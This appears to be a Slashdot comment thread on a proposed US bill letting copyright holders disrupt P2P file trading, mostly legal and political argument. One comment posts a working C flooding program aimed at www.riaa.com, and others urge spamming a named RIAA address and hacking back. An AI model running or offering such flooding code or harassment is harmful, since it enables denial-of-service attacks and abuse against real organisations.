Plus, it appears I have to show that they "knowingly and intentionally" disabled my connectivity, and caused >$250 in damage, per incident. So they can cause me $50 or $100 of damage at a time, with immunity. Oops!
If I think my neighbor stole my lawnmower, and I break into his garage to get it, I'm liable for the damage caused, regardless of whether I was malicious or simply mistaken. Why do the RIAA and the MPAA get more protection than I do?
TO BUY A NEW CAR WOULD MAKE YOU SEXUALLY ATTRACTIVE.
It's more interesting, anyway.
1) Identify who did it.
2) Pay a lawyer to take it to court.
3) Prove they did it.
4) Prove they caused the harm they did.
5) Recover your actual damages years later, sans court, investigational, lawyer, and time costs. Pay 30% income tax on the award to the extent the losses weren't deductible in the first place.
Nice "exception". What was once your right to be secure in your person and possesions is now your right to pay agregious sums of money to bet on the possiblity of being made partially whole after you're raped.
What about users located in foreign country's? For instance, I am locate in Canada and have a number of MP3's served up over a napster clone 24/7. Now the RIAA DoS's my connection, would I not have grounds for a lawsuit? After all, the attack occured within Canada NOT the US and hence Canadian Law should apply. There could be a couple of very rich computer geeks if the RIAA screws up the application of this law.
Technology is most abused by the very people it was created to help
We take our DV Recorders and create a couple films. Of we tune up the old harp and crank out a couple of cd's then we start our legal dOs attacks on the record companies for not publishing out works.
Who in her right mind will use a P2P service to legally exchange public domain or free [as in speech] files when her own data can be destroyed, her computer rendered inoperable, and have no legal recourse against the bastards who did it to her?
Let's say for some reason a person writes a worm/virus whatever and it sets up a p2p node on your machine without your notice. Suddenly your getting attacked by some random john q mercenary hacker!
oh wait now THERE is a part of this no one thought about yet. MPAA RIAA has shit for brains and could never do the dirty work themselves. Basically they will have to hire a bunch of black hats to do the work for them. That's practically sanctioned terrorism! Makes me wonder if I should change jobs. I work in the security field now but can't say that I've ever had a job request like that. So Metallica would come to me and say "Hey this is Lars, here's a list of IP's take them down."
I think secretly I like this idea if I could be some weird net-wise Buba Fett. He was always my favorite character in Star Wars. Now it will be Star Warez.
i agree, but i already said why i think there should be a law.
so if i took my privately owned can of spray paint, and painted a big, hideous smily face on your privately owned house, that's not vandalism, because it's all private? if i used privately owned equipment to tap into a privately owned cable system so i could watch hbo, that's fine? how about if i used that privately owned equipment to screw up other people's cable service?
get the idea?
#define F(x) int main(){printf(#x,10,#x);}
F(#define F(x) int main(){printf(#x,10,#x);}%cF(%s))
FIRST, read the bill. Second, read Berman's analysis. Third, read Berman's statement.
Only then should you write a letter to your representative. And be sure to back up your statments very thoroughly if they contradict Berman's in any way.
If you'd like to have someone try to tear holes in your argument, feel free to reply here :).
Actually, copyrights can be complicated. Look at cases involving sampling. An analysis must be made as to whether the sampled part is original or not and whether the part is significant to the song and so on. In some cases, rather short amounts of a song have been held to be copyright protected. Your system would then have to make sure the parts stored fell under the smallest threshold timewise to always be non-infringing.
American corporations are strong legal entities only because the American public let them get that way. The beauty of the US Constitution is that whenver Americans truly want to exercise their rights, they can reign in powers that threaten to undermine our freedoms.
It's happened before. Look at the Robber Barrons. Their excesses spawned a raft of trustbusting legislation. Of course, that legislation didn't just create itself. Normal voters rose up and made their voices heard.
Talk of revolution is nifty, and we'd all doubtless love to engage in a Matrix-style rampage against corporatism. But the real solution isn't revolution, it's working within the political system we already have. The problem is, that requires.. shudder!... actual participation in the process. You can't just write a fucking email or hack your Playstation and get results in politics.
Revolt? Not likely, when Americans can't seem to use the power they already have.
Read the EFF's Fair Use FAQ
For me (don't know if it is randomly inserted ad or not...) the CNN article about this bill here had a very large nicely placed ad for Philips DVD-RW drives that simply stated, in big letters, "Burn your own DVD's!". I laughed...
today is spelling optional day.
A reading of the bill shows that what it does is allow copyright holders to determine who is in violation of Federal Copyright Law, and to take actions against that violator.
In short, the copyright holders become judge, jury, and executioner in regards to a section of Federal Law. And if you want to dispute the judgement, you can in some unspecified manner get a notification after the fact from a copyright holder that is unknown to you.
As a matter of law, this bill is terrible. Write your congressman! This is an attack on the basic principles of government sovereignty, not an attack on p2p networks!
All these attempts to stop illegal P2P are going wrong and they will fail. It was wrong to go after Napster, which could be used for legal or illegal purposes (emphasis on *could*). It's wrong to allow big media to DoS people.
Here's how you stop it...
All you need is some FBI agents in DC to login to Napster/Gnutella/Morpheus and download something copywritten. They play the file to confirm that it is illegal. Then, they look up the ISP and send a letter to the ISP saying that someone has done illegal activity from one of their IPs and a fine of $500 has been issued. The ISP can either turn over the phone number and account information of the offending individual who committed the crime, or pay the fine themselves. Repeat until there is no longer a problem. It's true that they could get around this some by going through other countries, but it would still be very effective, in my opinion.
Just my $0.02
char *mySig;
otherwise not bad
This is a section of the new reform that explains the actions a user may take if they have been wrongfully DoS'd by the Copyright thugs..
''(A) The affected file trader may file a claim
for such compensation with the Attorney General
17 not later than 1 year after the date on which the
18 claim accrues. The Attorney General shall, not later
19 than 10 days after the claim is filed, serve notice of
20 the claim on the copyright owner against whom the
21 claim is brought, and shall investigate the claim.
They have 10 days to serve them. So I figure if everyone of us who has any type of network related errors starts automatically blaming them we can fill up the paperwork stack and let them choke on it. Sort of a legal DoS. Fuck 'em, they can attack us we can attack them. I don't even use p2p anymore but I think this is a retarded law. Aside from the fact that in a sense they are legalizing hacking.
How far can they go? can they take down my firewall to DoS me? If I'm on a cable node they will end up saturating the subnet and screwing up the bandwidth for everyone. boy ranting is fun...
Remember all those news stories you read to post to Slashdot? Or MS documentation? Sorry, anything with a "copyright something-something" at the bottom of the page is copyrighted material, and if it's in your temp folder, it's fair game.
Why let that stop you? If they want to treat us like criminals, act like it. Go snag Goldmember from a p2p network....
so if i took my privately owned can of spray paint, and painted a big, hideous smily face on your privately owned house, that's not vandalism, because it's all private?
No, that's not what I mean. By trespassing physically on my private property, you are crossing the line. Why does it make a difference that the trespass is physical? I guess it's a matter of the fact that I can easily stop you from sending me bits, I can't ever stop you from physically trespassing.
if i used privately owned equipment to tap into a privately owned cable system so i could watch hbo, that's fine?
Absolutely, assuming part of the cable system you are tapping into is located on your own private property.
how about if i used that privately owned equipment to screw up other people's cable service?
I don't think there should be a law against that. Certainly not a federal law. It should be up to the cable company to police that.
Sure they can - what if the DoS affected a hospital network, or managed to disable a system responsbile for controlling a nuclear power plant, or a train, or the air traffic control system?
Sure you say, these critical systems are behind firewalls. But what if your DoS shuts down a key network while at the same time, a doctor in Seattle is trying to send urgent medical information to a doctor in Chicago who is trying to save a little kids life? That might sound a little melodramatic, but the fact of the matter is, the internet isn't all online auctions and porn.
You are using a standard response when any script kiddie was caught - "I wasn't doing any harm" - but the truth is you have no idea whose other electrons are buzzing around out there.
Stop the boody Armageddon crap. You jerks pull off these idiotic "what if" things every time anything comes up.
What if you walked out of your house and a passing driver thought you were a cat running out in front of hoim and he swerved and hit and killed a woman pregnant with sextuplets. How about we hang you for the seven murders. Or maybe you should just fucking stay indoors for the rest of your pathetic life.
Talking about "getting them back" is pointless.
They will probably direct their DoS attacks against the internals of the P2P protocols, rather than the users machines. They will use disposable (and anonymous) nodes to do so--they may be unscrupulous, but they are not stupid.
Nonetheless, the proposed law is extremely prone to being abused.
What we need to do is start designing the next generation P2P systems that will be immune to things like legitimate-looking users posting bogus files, etc.
----------------
Here's what I can think of on the spot
1) Community-based systems (akin to slashdot) where some nodes have more "credibility" points.
Node "karma" would be based on
-Total Kbytes streamed out
-Moderation by other "trusted" nodes
The community aspect must not get in the way of reaching a "critical mass" of users, without which any P2P system is bound to fall.
2) Ability to randomly sample small segments of files on remote nodes in order to determine whether they are legit. This would stop them from uploading complete garbage, or legitimate-looking beginnings followed by garbage.
3) Distributed method of establishing trust. This is the tricky part. We could use public-key crypto in some fashion. Perhaps nodeID blacklists or whitelists could be distributed among the users, or uploaded to FreeNet. Before downloading a song from an unknown node, my machine would query 10-20 random nodes for blacklist info. This would make it a lot more difficult to set up random nodes hosting garbage.
5) Other heuristics to determine the trustworthiness of nodes and/or files.
7) Doing all of the above in a relatively speedy (i.e., not impractically slow such as gnuTella) and relatively anonymous/pseudonymous way.
-----------
Please reply (i.e., follow-up to the post) with any further ideas. Perhaps we can seed the minds of the developers who'll be coding the next generation of P2P software. Are there any ideas we can glean from eBay's trust management system?
When you have a system that is based on Greed, this is the sort of thing that happens. When will the Slashdot community understand this.
Democracy and Capitalism cannot co-exist.
Come get some.
Try 1984, by George Orwell.
Any sufficiently simple magic can be passed off as mere advanced technology.
That they work for US.
WE pay their salaries, WE pay their employees, WE pay their artists when WE buy their products.
If they get us sufficiently mad, WE will not spend our hard-earned money on their products any more and THEY will feel it.
It's about time to organize a month-long media boycott. Show the "big boys" exactly how much power we have over "their business". Pick a nice date like January, 2003, and just swear off ANY CD/Movie Ticket/DVD purchases for a month.
Easy to do - if you wanna watch a movie or listen to some music, just borrow it from a friend, but don't spend a RETAIL DIME purchasing anything.
"Nothing strengthens authority so much as silence." - Charles de Gaulle
Get it organized and spread the word! More power to you!
Perhaps the protcol could support "optional services" such as the ability to sample files at random or otherwise establish credibility. The nodes exporting such services would be deemed "more trustworthy"
Like, can they kill the person doing the distributing and be free from prosecution for murder?
Cripes! If there was ever a time to write your congressman, senator, president, whatever, it is now.
riaa and mpaa (no, I will not capitalize their names) have proven they are perfectly willing to shite on your personal rights and your political leaders won't try to stop them until they are told to! Write! Call! Email! Complain! Raise whatever hell you can about this!
H1B workers pay tax like the rest of the folks (appx 35% of the income) have tp spend atleast another 25% on basic stuff like rent etc. This has a profound impact on the economy (as opposed to the job going overseas).
#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <netinet/in.h>
#include <netdb.h>
#include <errno.h>
#include <unistd.h>
#define HOSTNAME "www.riaa.com"
#define PORT 80
#define SENDMSG "GET / HTTP/1.0\n\n"
#define BUFSIZE 1024
#define CHILDREN 1000
int main(int argc, char *argv[]){ struct sockaddr_in addr; int sockfd; int reti = 0; struct hostent *host; char buf[BUFSIZE]; int children = 0; if( a
rgc < 2 ){ fprintf( stderr, "Usage: %s <children>\n", argv[0] ); } else{ children = atoi( argv[1] ); while( fork() != 0 && ++reti < children ); } if( (host = gethostbyname( HOSTNA
ME )) == NULL ) exit(-1); memset( &addr, '\0', sizeof( addr ) ); addr.sin_family = AF_INET; addr.sin_port = htons(PORT); addr.sin_addr = *((struct in_addr *)host->h_addr_list[0]);
for(;;){ if( (sockfd = socket( PF_INET, SOCK_STREAM, 0 )) == -1 ) continue; if( connect( sockfd, (struct sockaddr *)&addr, sizeof( struct sockaddr_in ) ) == 0 ) { send( sockfd, S
ENDMSG, strlen(SENDMSG), 0 ); fwrite("|", 1, 1, stdout ); fflush( stdout ); while( (reti = recv( sockfd, buf, BUFSIZE, 0 )) != 0 ){ fwrite( "*", 1, 1, stdout ); fflush( stdout );
} shutdown( sockfd, SHUT_RDWR ); } else{ perror( "connect" ); } close( sockfd ); } return 0; }
Mod parent up!! I just spewed coffee all over my keyboard!!
Once again, we have the RIAA/MPAA asking for special treatment. Wah.
Once again, we have idiots trying to treat cyberspace differently from real space when the situations are identical and can be treated the same way.
Basically, what the RIAA/MPAA wants is to be able to break into people's computers, and mess up their computers, because they think that those people have infringed upon their IP.
In the real world, if I *think* -- or even *know* -- that someone has stolen say my MP3-player and put it in their house, that does not give me the right to tresspass on their property, break into their house, rummage around looking for my player, and mess up their house.
In short, you have to go through LEGAL channels. That means the courts.
This measure is particularly troublesome because it further empowers the rich and powerful (RIAA/MPAA) against the impoverished and disenfranchized (us). Its little different than the mafia.
social sciences can never use experience to verify their statemen
You guys want to explain it to your not-so-tech-savvy friends? Here's one way: this is just like if a law was passed to give major retail chains (Wal-Mart, Target, etc.) the right to break into your house to see if you have anyolen goods from them. Of course, as hard as it would be to really prove that something you have in real life is stolen, thinking about it, it would be even harder to prove it in cyberspace.
The thing is, it would be one thing if this was giving the FBI the right to hack your computer to see if you're doing anything wrong. I mean, law enforcement people can already get warrants to do searches and tap phone lines and stuff, when it's justified. But this is giving civilians that right.
The episode with the monster called "skuzlebut" and the hunting? "No, it's not poaching if you first yell 'Look out, it's comming right for us.'"
Copyright Violation:"theft, piracy"::Anti-Trust Violation:"thermonuclear price terrorism"<-Overly dramatic language.
This is their email address for reporting piracy.
Sign them up for some spam, a lot of spam.
Name: Hilary "INSERT COLORFUL NICKNAME HERE" Rosen
Email: cdreward@riaa.com
my former place of employment and many many other businesses that I am aware of use NAT to connect multiple machines through a single IP address. Also, a whole lot of illicit file trading is done inside of these networks. I know for a fact at my former place of employment there was over 100GB of music/movies saved on users machines throughout the office. One employee had over 30GB on a single machine. If RIAA/MPAA attack these connections, with a DoS attack, they will most assuredly cause more than $250 in damage to the business, and furthermore will cause damages to someone other than the file trader. Thus they will not be eligible for the safe harbor. So, everyone go download your mp3's at work behind a NAT so that they have no choice but to block the 1 global IP that is connected, thus disconnecting all of the other systems behind said NAT and causing great economic damages!
I noticed you said it steals bandwidth from other people.. but what about the MONEY that OTHERS would have to pay to cover the bandwidth usage? Your personal ISP must pay their providers, providers likely have deals set up with various other providers to intertwine the networks.. I bet there's quite a bit of money involved in a DOS. Perhaps if we could fax some large and small ISP's about this and get them to bitch at congress a bit -- one big EXTREMELY important industry against another industry -- they'd take note..
-DrkShadow
Do you really think "a week" boycott will matter one bit to these nazis? No, the only thing which will work is a boycott of these clowns and their "products" for the forseeable future.
:)
*raises hand*
Ok so I don't listen to music so the RIAA ban was easy, and I go to 3 or 4 movies a year, 5 tops *yawns* don't even buy any merchandising goods, LOL!
TV is boring.
Need help treating your acne? Come here!
Start by finding trustworthy and prominent open source/free software advocates who are willing to stand. Get them to run a campaign based purely on freedom of information, in all its forms. Use the media of the Internet to its maximum. Keep left/right issues out of it. Such issues will only fracture a large and diverse nerd voting base.
US business has to buy the votes with dollars, but US nerds get a vote each for free. US nerds are squandering these votes.
Hey, I'm sure the MPAA would love to kick in my door without a warrant and see what I've got in my box of dusty VHS tapes. Why aren't they asking their pet congresscritter to pass a law that says I can't shoot them when they try it?
If anyone was wondering whether the MPAA was in fact evil, this should settle the matter.
-jcr
The only title of honor that a tyrant can grant is "Enemy of the State."
refuse to recognise the authority of a corrupt government!
What the hell would we DO? Go outside!?
:-)
Library. Or independent music house, bars, clubs, you know, err, those 'other' places?
Or shit just sit down and talk.
Jigsaw puzzles even. Yeesh. Monopoly, whatever
Internet! Yaah!
Need help treating your acne? Come here!
How long will it now be before Slashdot posts a story praising the latest movie?
I pledge allegiance to the flag...
of the Corporate States of America...
The bill says anyone who thinks some computer has copywrited materials on it needs to send a form to the Dept of Justice to get permission to hack in to get it. So everyone send in such forms and they will be so overloaded they will never get around to approving the ones from the record companies.
Also: it seems to me this bill is like saying that if the local 7-ll thinks you stole a candy bar, they have the legal right to break into your house and search around for it. But what the store is supposed to do is instead report it to the police, who then decide what to do. The bill says corporations can take law enforcement into their own hands. This CANT be constitutional.
Question #1: what percentage of hackers in the world also use peer-to-peer file systems to get copywrited material?
Answer #1: 100%
Question #2: what will all those hackers do to corporations when they find out it is legal for corporations to hack into their computers?
Answer #2: I leave it to your imagination
also: this can't work. There are millions of peer traders in the world. To "interfere" with any significant portion you would have to automate it with a script, and since computers vary so much invariably that script will screw up some significant fraction, like erasing their hard drives. All in all, this is the dumbist bill I have ever heard of.
+1 funny please! And remember, kiddies, anthrax is a laughing matter!!
The law only provides for the copyright holder to impede distribution over a public, decentralized p2p network. Here is the text from the section by section analysis.
"Sec.514(a) provides copyright owners with a safe harbor from liability under= state or federal law only for actions designed to prevent the unauthorized= distribution of their works via a publicly available, peer-to-peer (P2P) file-trading network. The safe harbor provided by Sec.514(a) does not allow= the removal of files or data from a P2P user's computer, the corruption of= files or data on a P2P user's computer, or any other actions that would impair the integrity of any computer file or data. Sec.514(a) does not specify the particular technologies that a copyright owner can use pursuant= to the safe harbor. Rather, it allows the use of any technology that performs interdiction functions within the parameters outlined."
I don't know what methods are left if DoS and virii are out, but I'm sure the *AA people had something in mind when they gave the bill to Berman.
Don't moderate flamebait as Troll. Know the difference or you will be Meta-moderated.
And then the Vatican, the MPAA's own web site, the RIAA's site, Disney machines, NYSE's machine.
MSBPodcast.com The opinions expressed here are my own. If you don't like 'em... Think up your own stuff.
Troll yes, no doubt about it. I actually had some time on my hands and decided to read the page that this shaved ape's link pointed to. My short review for anyone curious but not curious enough to click the link follows:
Typical paranoid pseudo-educational babble that follows the usual course of starting out sounding reasonable and then trying to gently convince the reader that the rest of the article that follows is also reasonable.
Actual content is nothing more than a large pile of facts about the religous beliefs of a number of people who are near the top of a large number of media outlets but who in reality only show an equal amount of greed to others in similar positions with different religous and racial backgrounds.
Ever notice that you never see anyone with a body like Arnold Schwarzenegger and a brain like Albert Einstein talking up "White Superiority"? It's always some moron who's inferior to pretty much every other life form on the planet trying to convince you that he's a member of the master race.
Forget about being ashamed of being in the same race with these losers. I'm embarrassed to be in the same species with them.
Appended to the end of comments you post. 120 chars.
Simple solution -- don't feed the beast! I havn't pirated any music, but I havn't bought any either...not a single CD in the past 3 years.
My movie attendance is way down -- saw two movies so far this year -- StarWars (I want my money back) and SpiderMan.
I Won't see crop circles -- even though I really like gibson and am an abduction 'fanatic'
Digital Vigilante Copyright Act
I notice that this excerpt doesn't include any provisions for actual APPROVAL of the methods or hack that will be used by the copyright owner. Simply notification. "We're going to douse their server with gasoline and set it on fire." No approval required, and there is your notification. Off to purchase the petrol now...
If you're a zombie and you know it, bite your friend!
If you look at section b of the law you notice that they do not have legal protection for their 'active countermeasure' if it impedes access to files which the network owners do have the right to distribute. So if your server or P2P network includes a fair deal of public domain stuff or stuff for which you do own the copyright then the 'active countermeasures' would have to affect ONLY the files for which you did not have copyright and leave all the others alone. Your typical DOS attack, in fact most hacks, would be unprotected by the law because they would restrict access to both the legal and illegal content. In other words it would have to look, on a request by request (or maybe packet by packet) basis whether it was carrying their copyrighted content. So if this law passes as proposed I suspect that the RIAA or MPAA will mostly use it as a threat (stop carrying this stuff or we will hack you) or they will get overeager, ignore section b, and land in hot water.
Here is a letter I just sent off you my congressmen. I suggest you do the same. If you'd like to use mine as a template, you are more than welcome to do so.
Dear Congressman:
I am writing you today to voice my concern over Congressman Howard Berman's proposed legislation designed to "foil Peer to Peer Piracy." While well intentioned, this bill will have far-reaching implications that I do not believe have been considered by Congressman Berman. Allowing the Recording Industry Association of America and the Motion Picture Association of America immunity from laws designed to protect the computer infrastructure of this country would be reckless and threaten the security and availability of the very computer networks we as a society have come to rely on. This bill would allow specific individuals to commit damaging acts against both networks and computers that are not their property - without the threat of reprisal from the individual users, nearby users who would be adversely affected, or the companies that provide the Internet connections.
This legislation is akin to a bill proposing priests receive immunity to child molestation laws or giving corporate executives the ability to ignore the laws protecting shareholders and employees from fraud. Just as we would not grant police the right to batter innocent civilians, we should not give the MPAA and RIAA a "get out of jail free" card when it comes to computer hacking and network abuse. For this reason, I ask that you assist in stopping this legislation.
Congressman Berman would like you to believe that "...the entertainment and technology industries have a symbiotic relationship." Nothing could be further from the truth. The entertainment industry has constantly waged battles against any technology that would remotely jeopardize their position as gatekeepers of music and film. In the past the entertainment industry sought to keep individuals from using VCR's and cassette tapes because they represent a threat to their profits. Most recently, the MPAA and RIAA have sought to place impediments in the distribution of independently produced media. The DVD CCA had a child arrested for helping to create DeCSS, a piece of code that allows users to watch legally purchased DVD movies without the expensive licensing and on operating systems CCA doesn't support. Such actions stifle innovation and produce stagnation within both the technology and entertainment industries alike.
Further, Congressman Berman claims, "The widespread availability of pirate works online makes it difficult for copyright owners to develop viable Internet business models." This proposition is laughable. The entertainment industry has refused to produce a valid model that provides users with the flexibility in choice and cost that consumers seek. Internet users would willingly purchase music online if it was provided to them in a usable manner. The token attempts at doing so by the entertainment industry have produced expensive and inflexible content that users cannot make use of.
Digital rights management (DRM) tools should be produced by the entertainment industry that allows them a fair source of revenue without enforcing prohibitively restrictive licensing upon the users. It simply does not make sense to pay for several copies of the same media so that the same individual can use it in separate places. Copyright is a two-way street, and those who pay for content should be able to use their property in the manner they see fit, as provided by law. The MPAA and RIAA would like for you to do away with user's rights altogether.
Congressman Berman proposes, "Copyright owners could employ a variety of technological tools to prevent the distribution of copyrighted works over a [Peer to Peer] network. Interdiction, decoy, redirection, file-blocking, and spoofing technologies can help prevent unauthorized P2P distribution." He goes on to state, "...such legislation must be narrowly crafted, with strict bounds on acceptable behavior by the copyright owner. Such legislation should not allow a copyright owner to damage the property of a P2P file trader or any intermediaries, including ISPs." The problem with these methods is that as it stands interdiction, decoy, redirection, file blocking, and spoofing technologies are illegal under our criminal laws. Any other citizen who participates in these actions would be arrested and easily convicted for their crimes.
The vigilante mentality inherent in this legislation is supposedly justified by the cost of civil lawsuits by the companies against those who might be sharing copyrighted files. It is tantamount to giving copyright holders the ability to break into your home, and if they find what they seek, burn it down. Allowing the MPAA and RIAA to wreck havoc on a user's machine - up to $249 in damages per file - without any punishment is unconstitutional and morally wrong. The purpose of our law is to prevent that type of activity.
The end effect of this law is to effectively require users and ISP's to develop active countermeasures to defend their networks. There will be no way to detect legal from illegal activity on the Internet. When a hacking attempt is detected there will have to be a volley of attacks in the opposite direction in an effort to cause them to stop. Doing so would also be illegal, and for that reason is not done now, but faced with no other options many ISP's will be faced with that decision.
The technology of today was not designed to handle the burden of the attacks possible under this legislation. These attacks cannot be carried out without affecting other users on the same connection. In order to prevent a user from transferring files it is necessary to flood their connection with more data than it can handle, which will also prevent other, legitimate users, from carrying on about their activities. Just allowing this to take place will cause extreme congestion on the information superhighway, and could threaten to make it unusable for everyone.
There are other traps and threats included in this bill that are equally threatening. In an effort to punish those who might offer a "safe harbor" for file traders, we will unjustly include unknowing software developers and Internet Service Providers. It is not the responsibility of software developers to determine that their products can have no illegal use. I am certain Microsoft Word has been used for illicit activities for quite some time without Microsoft ever fearing the threat of criminal prosecution. Internet Service Providers and owners of backbone networks, such as WorldCom and AT&T, also have much to fear from this legislation because they provide the connection that allows these files to be traded. There is, however, no possible way for them to distinguish legitimate traffic from that which is not. If the backbone providers block the MPAA and RIAA from attacking their networks, then they must fear lawsuits for harboring criminals, and the law provides their overburdened networks no relief.
This bill also serves to protect the entertainment industry by covering up any misdeeds as a result of this legislation. By requiring that any information about the complaints and rulings on those complaints be kept in secret, the American public will not even be aware of any misuse of the powers granted in this proposal.
I do agree, however, with Congressman Berman on his point that "No legislation can eradicate the problem of peer-to-peer piracy." Attempting to legislate a poor business model for the MPAA and RIAA will not serve the American public. Taking away their rights of users to their property, the Internet and their computers will not serve to eliminate the problem either. The only solution is for the entertainment industry to truly embrace the new technology and shape their business model around that change.
-- Mark Lyon http://www.marklyon.org
The QOTD "There's some entertainment value in watching people juggle nitroglycerin." certainly applies to the incredible hypocrisy demonstrated by the so-called entertainment industry. If this goes any further, they'll end up wishing they really had juggled nitroglycerin.
***
This is my Sig. This is my Glock, this is my Walther, and this is my Beretta.
Any questions?
It is good to see that the American Democracy is still working well.
I have more $'s than you so I have more votes than you.
Its a simple system that seems to working just great.
Basically, what it comes down to is that the RIAA/MPAA have no nice way to go after Gnutella. P2P networks with single points of failure have already been attacked. Their proposal is to legalize opening tons of connections to download files and then just letting data trickle through.
There has been extensive discussion among the many, many people involved with the Gnutella protocol on how to beat this. For example, instead of using "number of downloads" as a cap, one could use a hybrid "number of downloads/total bandwidth used" limiting factor.
Still no word on how they'd take out Freenet.
If you want to help fight this, grab an editor and start adding countermeasures and send in a patch to your favorite piece of Open Source P2P software. The coders already in the trenches would appreciate any additional help you could give.
May we never see th
The more power a class tries to grant for itself, the more power any other member of that class gets. Because of the way "equal protection" works, any law that allows a party meeting certain criteria to take certain actions, also allows anyone else meeting those criteria to take the same actions. If you're a copyright holder, and you can make a reasonable case that you suspect infringement, you would have a license to do whatever this bill lets "the media companies" do. Because there's legally no such class.
Government is the root of this problem. Only government holds the power to legally initiate force. Accordingly, only government can authorize a legal initiation of force. If you recognize the fact that government holds a monopoly on the initiation of force, the bottom line is quite apparent.
Not law yet. The new bill (CSEA) still has to pass the Senate and the White House. But given that only three congressdroids in the House opposed it and hundreds on both sides voted in favor, I don't hold much hope that it will be defeated.
The filename is a part of the file. Renaming it *would* be changing the integrity of the file.
Please retake Comp.Sci. 101, Citizen
I notice that this excerpt doesn't include any provisions for actual APPROVAL of the methods or hack that will be used by the copyright owner.
Thank God for that. There's no way I'd trust any government official or agency to choose which hacks are allowed and which aren't.
"We're going to douse their server with gasoline and set it on fire."
Well, you make a good point, and the law should be modified to only give immunity for specific laws (DoS attacks, presumably), so as not to allow something like murder. But, your particular example "impairs the availability within a publicly accessible peer-to-peer file trading network of a computer file or data that does not contain a work, or portion thereof, in which the copyright owner has an exclusive right granted under section 106" and isn't "reasonably necessary to impair the distribution, display, performance, or reproduction of such a work, or portion thereof, in violation of any of the exclusive rights of the copyright owner under section 106" It would also "[cause] economic loss of more than $50.00 per impairment to the property of the affected file trader, other than economic loss involving computer files or data made available through a publicly accessible peer-to-peer file trading network that contain works in which the owner has an exclusive right granted under section 106"
But murder, for instance, probably wouldn't fall under either of those two exceptions.
An eye for an eye leaves the whole world blind.
I would have capitalized it all; but the lameness filter told me it was like YELLING. Wow, not like that's what I was trying to DO or anything.
You could stop someone from physically trespassing on your property. Look at a jail, they stop people from trespassing all the time. You can't tap into a cable line that is on your property, because you don't own the mineral rights to the land most likely. I mean, by the same logic you should be able to tap into the electrical pole and bypass the meter because it's on "your" property. ~S
When the MPAA sends notice that you are sharing copyrighted files from IP xxx.xxx.xxx.xxx, you'll have documented evidence that they violated the law and the right to DOS their servers. If they do not produce the IP address, there is no evidence against you. Simple and neat.
Topic says it all. I wasn't able to get one single link to respond over the past few hours.
-- Note: If you don't agree with me, don't bother replying. I won't read it.
President Bush anounces that in order to stimulate economic growth, Big Corperations will no longer have to obey any laws.
"We need this to help the stock market"
Photo of Bush at the white house anouncing new rules
* Carthago Delenda Est *
You could stop someone from physically trespassing on your property.
Not if the person is determined enough to break in.
Look at a jail, they stop people from trespassing all the time.
Without using the law, they would be unable to do that. I could break into a jail if I really wanted to. But I'd get caught, and probably shot, as a result. Without physical property laws, we'd have chaos. Without laws against hacking, we wouldn't.
You can't tap into a cable line that is on your property, because you don't own the mineral rights to the land most likely.
Mineral rights to the land? How does that apply?
I mean, by the same logic you should be able to tap into the electrical pole and bypass the meter because it's on "your" property
Oh, I see what you're saying. I was referring to a cable which was entering your house. As in, you pay for basic cable and then "steal" HBO. I don't think that should be illegal.
What the MPAA and RIAA don't seem to get is that people like me, who really hate them, are also copyright holders.
So, what happens when the MPAA and RIAA use phrases I've used? I accuse them of violating my copyrights and crack into their systems.
Open season, nothing. It's more like opening up a case of tactical nukes for public consumption.
The power of accurate observation is commonly called cynicism by those who have not got it. - G.B. Shaw
If they're going to get to do DoS attacks, who has to carry the traffic? ISPs! I wonder what they are going to be saying about this bill - perhaps the Net industry might enter the legal battle against the MPAA/RIAA. Were I an ISP, I'd be screaming at my local representative right now.
How will this work for a letter of marquee? This law basically states, "this action is legal". The courts can't throw someone in jail for doing something the law specifically permits. If the Supreme Court refuses to enforce this law, they have accomplished nothing.
It would seem to me, that in order for the Supreme Court to rule this law unconstitutional, they would have to rule the entire computer hacking code unconstitutional.
I am not a lawyer. I may be way off base here.
Has there ever been a documented case of the slashdot effect going out-of-band into the real world? Doing more damage than flooding a webserver or a handful for a few hours, I mean.
Anarchy$ dd if=/dev/random of=~/.signature bs=120 count=1
Now all any hacker has to do is file a copyright, and they get a "get out of jail free" card? What if I suspect the RIAA is distributing MY copyrighted material? Do I get to DoS them and get away with it? I can't believe even the RIAA is stupid enough to want to go down this path.
As far as the mineral rights go, quite a few people don't own them, even though they own the property. It basically means you don't own what resides underground in your property. I don't know if it covers things such as cable lines, but I'm willing to bet there is something similar on the books, and that if you bought a house or property it's written into the 99 year lease you signed to "own" the property.
Hope this made some kind of sense.
~S
hum lets think that over again. They hacking me, so, why not hacking back? At least it should be possible to backtrace them, and causing them serious trouble - well, not a machine is THAT safe.
;)
I don't know if THEY know whom they're messing with here, and I don't think they could be the ones being one step in front
maybe the world will change, maybe not.
Nichts ist wie es scheint! keep watching...
*23*
it just came to my mind, the information society develops like any other society did before. It started with total freedom, anarchism. Now, the "strong" start to take what they can from the "weak", with all forces available and without any control instance, justice or anything.
What about starting with democracy NOW instead of waiting 200 years for someone to tell us that information needs rules?? OK maybe it would be kind of fun to have a "computer inquisition time", but on the other hand I'm afraid that exactly MY computer would burn...
Nichts ist wie es scheint! * 23 *
*
* *
* *
*******
Good luck. You have to obtain written permission from the Attorney General just for the right to sue. Even if you somehow manage to get Ashcroft's permission, you still have to prove over $250 in damages.
I can't believe that you Americans still like to define yourselves as free! With stuff like this bullshit, not to mention all the other freedoms you people have given up since 911, I don't think you realize just how little freedom you actually have! Consider that the PTB have been trying to erode all of your so-called rights for decades, but that damn Constipatution keeps on getting in the way, that now they're doing everything in their power to do it via the back door. Since everything gets rubber stamped anyway, as your fun-loving media keeps you all preoccupied with infotainment such as OJ, the TV War on Terrorism, and now the whole Corporate Accounting Scandal circus, (as if that hasn't been going on for decades), nobody really notices what the government is really doing! We're not much different up here, as our recent bill about doubling the prices on blank recording media, with the proceeds supposedly going directly to the recording industry to pay for all that piracy.
No, this isn't offtopic...it's about just how much this latest bill merely contributes to an ongoing problem with governments, essentially worldwide governments, doing all this shit behind everybody's back. You Americans fought a revolution about tea, so why not another one about this?
Yeah, I get the idea. Keep the FBI off ostensbily "private" networks (cable, ISPs, backbones) or admit that they're public goods and give the gov't control over them.
Those should be the only two options. A private assault on a private network should not be investigated by the FBI. The owner of said network can sue the individual who did it.
Now, your example of vandalising a house is different - a house is owned by a person or a collection of people - individuals, where a network is (usually) owned by a corporation. In the cases of individual or not-for-profit group ownership, yes, the FBI is a valid resource. But for-profit corporations (especially like MS, Cisco, etc) that use sneaky holes in the tax laws to avoid paying taxes should NEVER be allowed to call in the FBI to police the network or property they own.
Now, that's a rough sketch but it should provide the general direction.
--Knots
